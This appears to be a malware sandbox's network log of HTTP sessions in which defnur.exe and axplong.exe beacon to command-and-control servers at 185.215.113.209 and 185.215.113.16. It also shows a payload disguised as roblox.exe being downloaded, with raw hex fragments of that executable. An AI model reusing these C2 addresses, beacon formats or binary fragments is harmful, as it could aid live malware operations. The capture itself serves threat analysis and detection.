00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 84 00 00 02 00 00 3a 29 3a 00 02 00 00 80 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 90 80 00 94 01 00 00 00 a0 80 00 98 22 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 90 80 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 80 80 00 00 10 00 00 00 b4 35 00 00 02 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!Win32 .EXE.$@PELLgJ@:):"0.MPRESS15.MPRESS25.rsrc"$5@v2.195 :#\|cL,,hh}_%M,SH8aJ31fY\|t:/>V7SN^M?FYc7F-pmZ>Q-\>q{qxUYOR;g-u%9f`(\|r]I9XOb^&"06T\|FUdh=aU8cJ[HcX714[b,(/{jMb,2)W]?b8'X. o-BPZ`3Vi{A/EQ>-N'AqlA4aa7^{,H^QH,4U*KHt]U9m!g
Dec 18, 2024 12:00:23.000005007 CET	1236	IN	Data Raw: a5 fd 5f c1 39 96 ea 6b 62 1d 99 4f a5 e2 c7 c0 67 a3 bb c2 35 28 de f3 22 64 fb 1b fa 93 e5 a8 22 04 05 65 0c 4c 59 e6 17 60 e0 69 b5 91 49 0b 81 28 82 a8 24 46 cf d3 25 48 8b 51 b5 89 56 18 d1 0f b7 4f 29 07 d5 50 f1 9a 93 50 f6 78 1e 23 a8 bc Data Ascii: _9kbOg5("d"eLY`iI($F%HQVO)PPx#F(ONQG%k"Hsu}VWxX4htdcJ{x<fg9-Tup!V4/e&HBgN>`S7" #
Dec 18, 2024 12:00:23.000017881 CET	1236	IN	Data Raw: 2a 08 c1 2e c7 83 0d 1e a6 af 8a ab 8e 38 aa e7 33 ef 6b d9 f8 c8 58 74 f0 b5 09 77 33 d0 81 99 d6 21 7b e6 e3 34 b3 c8 c0 a5 04 43 5a e8 75 1b 27 e0 82 e8 6f f6 be f8 cd 7a 1c 21 78 75 84 ad 48 84 e8 54 b7 0a 0a cd 23 6c 05 de 29 49 e7 f1 b5 7e Data Ascii: *.83kXtw3!{4CZu'oz!xuHT#l)I~K^RQ1Va5>6OCY1[+2yDDAci-\|Omaw,:rF=YhIk+'LP
Dec 18, 2024 12:00:23.000029087 CET	1236	IN	Data Raw: 1b db 06 52 05 6e be 49 22 30 79 8d c6 65 ab 18 c7 ed f9 a3 fe 28 a4 ae 9c f5 29 3e d9 ef 68 5c 07 36 93 e2 79 cb ec 53 ed 26 90 9b f5 e5 c2 cb 22 5f a1 e9 b4 cd d4 80 1b d9 67 0f fd 37 5b 1d fb 6c 4d db d7 51 cd 76 c0 02 b2 a5 63 49 9a 23 8a 93 Data Ascii: RnI"0ye()>h\6yS&"_g7[lMQvcI#yK$HCG)PVJq5yf&h.a\qW z]/Df5YyX+z5aEC$+F-Dl%Qg+3NHd9,QB,o8'Z9n
Dec 18, 2024 12:00:23.000040054 CET	1236	IN	Data Raw: 56 6a 65 93 d6 97 a1 f1 16 7c 6c 7f f9 96 65 49 8e b4 bc 58 54 ac 50 11 72 85 b7 f5 bd ce 85 20 89 65 57 c9 a8 23 73 f9 ba b8 29 00 9f bd 93 4d 7e 39 83 09 59 12 35 53 2b 2d 2d 04 a3 e5 eb 06 22 f0 82 05 ad 7a 9a 29 4b 3a 4f af 4f 82 f8 7a fb c2 Data Ascii: Vje\|leIXTPr eW#s)M~9Y5S+--"z)K:OOzmchmXw EOT5;}q#"%<)Z~we4B\oq1N{*J]h_7\\9"lc=9FR,pq!7?D0c)%5X}
Dec 18, 2024 12:00:23.000051975 CET	1236	IN	Data Raw: 0f 21 eb 8a 54 96 d4 cb fa 0c 0c 47 2b 1f 7f 91 2c 9b cc e8 23 60 21 22 8d 15 bd f7 32 b3 1d f3 f2 8a 91 30 07 f5 37 11 ef a1 62 8e ea ff 34 23 b3 ba d6 b1 27 0a 4b eb ad 01 15 d0 6e 47 77 b0 ae a0 34 bd 45 15 3c b7 ed 1e 23 6e 9f 84 db d3 83 dc Data Ascii: !TG+,#`!"207b4#'KnGw4E<#n})Sx,9FTPfvSHhUd~r?M>"f!R]zN,`]RpJA~in\2~u4;5kJ:TRhv<n9%w
Dec 18, 2024 12:00:23.000065088 CET	1236	IN	Data Raw: 38 34 3f 65 83 5d a8 9e 2f 08 a8 7e 3a 9b 7a 61 e1 74 3c 10 2d 76 00 4a 21 20 3c 6c d5 cc fa 88 5b dc 94 d7 f9 c8 ee f0 53 76 00 fd ba 2d 03 05 38 73 22 23 7a bf 6e 9a 8b 18 bb 6e 50 62 f0 84 48 bb 26 53 03 26 d0 af 87 f7 3f 4f 65 40 02 94 d3 ab Data Ascii: 84?e]/~:zat<-vJ! <l[Sv-8s"#znnPbH&S&?Oe@[e^^SS&DgLcWSs&z.@pm()B9z#rUL?{?H]9"^Z'yyc6r9<+/r
Dec 18, 2024 12:00:23.000206947 CET	1236	IN	Data Raw: 47 28 28 6f 9d 09 a7 c2 f9 3d 15 f3 8f 0d ab c2 58 a0 01 cc 9a f5 d0 0f 25 f1 94 ad 32 7a c2 2e d0 64 6a 1c 5e 14 86 55 1d a9 77 2e da db 73 fd 44 20 56 d9 0b fc 6a d9 60 41 ca 3d f1 dd e5 34 af 12 61 6f 29 dd 9c 7f 66 d0 35 0c 50 26 ac 52 2b 42 Data Ascii: G((o=X%2z.dj^Uw.sD Vj`A=4ao)f5P&R+B/5YuC9e`R05VS@0w7{%Pd8WLNKx8I.DG{)XDIRhfPHm*Pn{]!XT/Cw?b. b~d[
Dec 18, 2024 12:00:23.000220060 CET	1236	IN	Data Raw: 61 e1 ca 5c 5c dc c7 6d ee c2 d4 d8 f5 6a 14 b0 24 55 fc 5e e3 13 ff 9a fb 72 06 7e c4 d2 99 06 08 8d 58 bf 6c b6 65 01 f9 9e 60 bb c5 ee ab c1 81 14 da cd be 3c e0 b9 13 bb 48 05 6d 2d 32 c5 4c 3f f0 08 ac fe ca fb 31 4f 07 87 60 e7 26 fc 7c 0a Data Ascii: a\\mj$U^r~Xle`<Hm-2L?1O`&\|&h.7C6\0aX#.7S!3uWIkv\|i;zw,pq/v9O0l>tz1trMRiRO%H}5s9562@s
Dec 18, 2024 12:00:23.000231028 CET	1236	IN	Data Raw: fa e4 2c ed 5a 8c cf cd c5 fb ce f2 71 3e 07 13 93 c2 f6 80 05 d8 5a 02 49 09 d7 fa fd fe 90 2f 0a 34 59 0a b5 2d eb 3f 60 1d 87 c0 d0 9e b2 28 18 a6 de a8 ff e0 51 e2 35 81 67 53 44 a2 ba 9a c5 d6 51 38 d5 16 0e 95 f7 f5 76 cb cf dd aa 49 a5 d8 Data Ascii: ,Zq>ZI/4Y-?`(Q5gSDQ8vIW~Hdy)tZo%VBQ\@CUf(-Xl:.fB0;{9:w9o091{wEX(ko
Dec 18, 2024 12:00:23.007700920 CET	1236	IN	Data Raw: 1e 6d cf 74 ac ee 07 d9 6f 9d 50 24 dc 8d 03 61 01 b2 06 a0 cc e2 82 7e 91 06 0a c5 ff 7c f1 0a f0 16 97 1f ec c9 2f 19 ca d2 93 e3 70 ab ad 7d fd 93 75 9e 49 28 eb 41 42 38 8a 22 90 ac 90 a5 b3 e5 98 7f 6b c2 b9 e9 f6 89 11 22 c0 f6 0c d0 1d 21 Data Ascii: mtoP$a~\|/p}uI(AB8"k"!P oX]^!D6W&=4h,< aqEc>.$R-Np-eEQy.Y:MXzig[553bj)Y;Tx,AB!55(I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49960	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:24.712918997 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 12:00:25.994333982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49969	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:27.625372887 CET	314	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 37 46 36 45 33 34 31 32 41 37 34 36 35 41 35 46 44 34 38 30 36 42 32 43 38 46 32 44 46 46 45 41 36 44 37 39 39 36 42 38 34 34 38 44 37 31 33 31 38 32 45 30 46 35 43 46 41 35 32 42 30 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA613555C37F6E3412A7465A5FD4806B2C8F2DFFEA6D7996B8448D713182E0F5CFA52B0
Dec 18, 2024 12:00:28.968683004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49977	185.215.113.16	80	7416	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:29.848433971 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 32 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005242001&unit=246122658369
Dec 18, 2024 12:00:33.358926058 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 18, 2024 12:00:33.360521078 CET	54	OUT	GET /inc/roblox.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 12:00:33.796641111 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:33 GMT Content-Type: application/octet-stream Content-Length: 11169792 Last-Modified: Fri, 13 Dec 2024 01:24:26 GMT Connection: keep-alive ETag: "675b8cca-aa7000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 2d 62 5b 67 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 2b 00 ba 01 00 00 6c aa 00 00 3e 02 00 25 11 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 20 ad 00 00 04 00 00 7b b5 02 00 03 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 04 00 14 0e 00 00 00 b0 04 00 b8 58 a8 00 00 20 02 00 c8 07 00 00 00 00 00 00 00 00 00 00 00 10 ad 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 f3 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd-b[g.+l>%@ {` X `(h.text(``.data@.rdata*,@@.eh_fram@.pdata @@.xdatap0@@.bss<@.idata@.CRT`@.tls@.rsrcXZ@@.relocn@B
Dec 18, 2024 12:00:33.796713114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 48 89 e5 48 89 4d 10 48 89 55 18 4c 89 45 20 44 89 4d 28 90 5d c3 55 Data Ascii: UHHMHULE DM(]UHH T/HtNHGNH^>HuH9HkGH ]UHH0H'w/H
Dec 18, 2024 12:00:33.796725035 CET	1236	IN	Data Raw: 48 89 c1 e8 06 b1 01 00 48 89 45 f0 48 8b 45 28 48 8b 00 48 89 45 e8 c7 45 fc 00 00 00 00 e9 8f 00 00 00 8b 45 fc 48 98 48 8d 14 c5 00 00 00 00 48 8b 45 e8 48 01 d0 48 8b 00 48 89 c1 e8 24 b1 01 00 48 83 c0 01 48 01 c0 48 89 45 e0 8b 45 fc 48 98 Data Ascii: HHEHE(HHEEEHHHEHHH$HHHEEHHHEHHEHHEHHHEHHEHHHEHHHMIHpEE;E eEHHHEHHHE(HUHHH[]UHH
Dec 18, 2024 12:00:33.796900034 CET	1236	IN	Data Raw: 1f 00 48 83 ec 38 4c 89 4c 24 58 4c 8d 4c 24 58 4c 89 4c 24 28 e8 38 49 01 00 48 83 c4 38 c3 0f 1f 00 41 57 41 56 41 55 41 54 55 57 56 53 48 83 ec 28 b8 01 00 00 00 44 89 cb 45 89 c1 49 89 ca 49 89 d3 49 8d 69 01 89 d9 89 ea 48 d3 e0 48 8d 44 50 Data Ascii: H8LL$XLL$XLL$(8IH8AWAVAUATUWVSH(DEIIIiHHDPH9$HAAAHHl$IRAALL$H$ED$AAK1AuAbff.ff.ff.
Dec 18, 2024 12:00:33.796911001 CET	1236	IN	Data Raw: 01 44 01 d8 41 88 4a ff 83 f8 40 77 21 4c 39 ee 0f 82 38 ff ff ff 89 c2 83 e0 07 c1 ea 03 48 29 d6 48 8b 16 4d 39 f2 0f 82 55 ff ff ff 90 49 39 ea 73 2f f7 df 83 e7 3f 89 c1 49 89 d3 49 83 c2 01 49 d3 e3 89 f9 49 d3 eb 4f 8d 1c 59 41 0f b6 0b 45 Data Ascii: DAJ@w!L98H)HM9UI9s/?IIIIOYAE[AJDL9uI9HH[^_]A\A]A^A_@HAJcH@AHH0HAHH(HAHH HAHHHAHHHAHHHtL
Dec 18, 2024 12:00:33.796922922 CET	1236	IN	Data Raw: 86 55 05 00 00 48 8d 7c 37 f8 48 89 7c 24 28 45 84 c9 0f 84 fa 05 00 00 45 0f bd c9 41 bf 08 00 00 00 48 8b 3f 45 29 cf 4d 85 db 0f 84 19 05 00 00 4c 8b 74 24 10 4c 01 f6 48 89 74 24 40 46 0f b6 4c 1e ff 49 83 fb 07 0f 86 d4 05 00 00 4a 8d 5c 1e Data Ascii: UH\|7H\|$(EEAH?E)MLt$LHt$@FLIJ\H\$0EH+ED)\$pHH\$@LHsH$DLHt$PHEcEAE)HH\H\$8L#H$H$HVH$HH
Dec 18, 2024 12:00:33.796937943 CET	744	IN	Data Raw: 01 ea 45 0f b6 68 0b 49 c1 e5 28 4d 01 ea 45 0f b6 68 0a 49 c1 e5 20 4d 01 ea 45 0f b6 68 09 49 c1 e5 18 4d 01 ea 45 0f b6 68 08 49 c1 e5 10 4d 01 ea 45 0f b6 68 07 49 c1 e5 08 4d 01 ea 45 84 c9 0f 84 57 fa ff ff 45 0f b7 ec 41 bc 09 00 00 00 45 Data Ascii: EhI(MEhI MEhIMEhIMEhIMEWEAELt$ E)ALt$EE)DH#@?fw}L5@Mc$MAfDLt$EfI0LLt$EfI(LLt$EfI LLt$EfILLt$Ef
Dec 18, 2024 12:00:33.796951056 CET	1236	IN	Data Raw: 2c 6a 41 0f b6 4d 00 45 0f b6 6d 01 45 01 c5 88 48 fd 4d 89 d0 44 89 e9 49 d3 e0 44 89 f1 49 d3 e8 4e 8d 04 42 41 0f b6 08 45 0f b6 40 01 45 01 e8 88 48 fe 4d 89 d5 44 89 c1 49 d3 e5 44 89 f1 49 d3 ed 4e 8d 2c 6a 41 0f b6 4d 00 45 0f b6 6d 01 45 Data Ascii: ,jAMEmEHMDIDINBAE@EHMDIDIN,jAMEmEHA@w1HL$HI9DAI)HL$MH9A4fLL$D$L$t?AHL$xH9s-DMHIDIJBDID@AH9D$xuA@7H$DD$tL
Dec 18, 2024 12:00:33.797241926 CET	1236	IN	Data Raw: 0f b6 49 01 0f b6 29 41 01 c1 41 88 6b ff 41 83 f9 40 77 26 49 39 f2 0f 82 2d ff ff ff 44 89 c8 41 83 e1 07 c1 e8 03 49 29 c2 49 39 fb 4d 8b 22 40 0f 92 c5 e9 44 ff ff ff 90 4c 89 54 24 38 44 8b 44 24 74 48 8b 84 24 98 00 00 00 41 f7 d8 49 89 c2 Data Ascii: I)AAkA@w&I9-DAI)I9M"@DLT$8DD$tH$AIA?I9s*DLIHDHHB@AKAM9uH\$1H9\$ 0Ht$(1H9t$Ht$0H9t$@)Ht$8H9$1\|$p@!A@H$
Dec 18, 2024 12:00:33.805013895 CET	1236	IN	Data Raw: c1 ee 02 48 89 7c 24 60 4c 8d 0c 31 4c 89 44 24 58 4c 89 4c 24 70 49 01 f1 4c 01 ce 4c 89 8c 24 80 00 00 00 4c 8b 8c 24 10 01 00 00 48 89 b4 24 88 00 00 00 45 0f b6 49 02 44 89 4c 24 6c 48 39 fe 0f 83 18 0d 00 00 45 89 c8 4c 89 bc 24 98 00 00 00 Data Ascii: H\|$`L1LD$XLL$pILL$L$H$EIDL$lH9EL$MH$AL4$H\|$pDL$hA?I)Ld$ I$E1Lt$HL9t$9EAAL)l$L\|$M?Lt$XL9t$!EAAL)l$Lt$M6L4$Lt$PL9t$
Dec 18, 2024 12:00:33.805161953 CET	1236	IN	Data Raw: 0e a8 01 00 4b 63 6c 9d 00 4c 01 ed ff e5 41 0f b6 6f 06 48 c1 e5 30 49 01 ee 41 0f b6 6f 05 48 c1 e5 28 49 01 ee 41 0f b6 6f 04 48 c1 e5 20 49 01 ee 41 0f b6 6f 03 48 c1 e5 18 49 01 ee 41 0f b6 6f 02 48 c1 e5 10 49 01 ee 41 0f b6 6f 01 48 c1 e5 Data Ascii: KclLAoH0IAoH(IAoH IAoHIAoHIAoHI@(EL\|$D)DA)H9L$pML4$DL$hAH9$L$AEH9$@8LD$pDl$lD$LT$ IAL$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49979	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:30.724117041 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 12:00:32.059065104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49985	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:33.719455004 CET	314	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 37 46 36 45 33 34 31 32 41 37 34 36 35 41 35 46 44 34 38 30 36 42 32 43 38 46 32 44 46 46 45 41 36 44 37 39 39 36 42 38 34 34 38 44 37 31 33 31 38 32 45 30 46 35 43 46 41 35 32 42 30 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA613555C37F6E3412A7465A5FD4806B2C8F2DFFEA6D7996B8448D713182E0F5CFA52B0
Dec 18, 2024 12:00:35.026885033 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49994	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:36.992921114 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 12:00:38.185622931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50003	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:39.884136915 CET	314	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 37 46 36 45 33 34 31 32 41 37 34 36 35 41 35 46 44 34 38 30 36 42 32 43 38 46 32 44 46 46 45 41 36 44 37 39 39 36 42 38 34 34 38 44 37 31 33 31 38 32 45 30 46 35 43 46 41 35 32 42 30 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA613555C37F6E3412A7465A5FD4806B2C8F2DFFEA6D7996B8448D713182E0F5CFA52B0
Dec 18, 2024 12:00:43.106364012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50014	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:44.933684111 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 12:00:46.264997005 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50023	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:47.894702911 CET	314	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 37 46 36 45 33 34 31 32 41 37 34 36 35 41 35 46 44 34 38 30 36 42 32 43 38 46 32 44 46 46 45 41 36 44 37 39 39 36 42 38 34 34 38 44 37 31 33 31 38 32 45 30 46 35 43 46 41 35 32 42 30 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA613555C37F6E3412A7465A5FD4806B2C8F2DFFEA6D7996B8448D713182E0F5CFA52B0
Dec 18, 2024 12:00:49.284651041 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50032	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:51.041110992 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 12:00:52.540196896 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50035	185.215.113.16	80	7416	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:52.228230000 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 32 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006252001&unit=246122658369
Dec 18, 2024 12:00:53.568126917 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
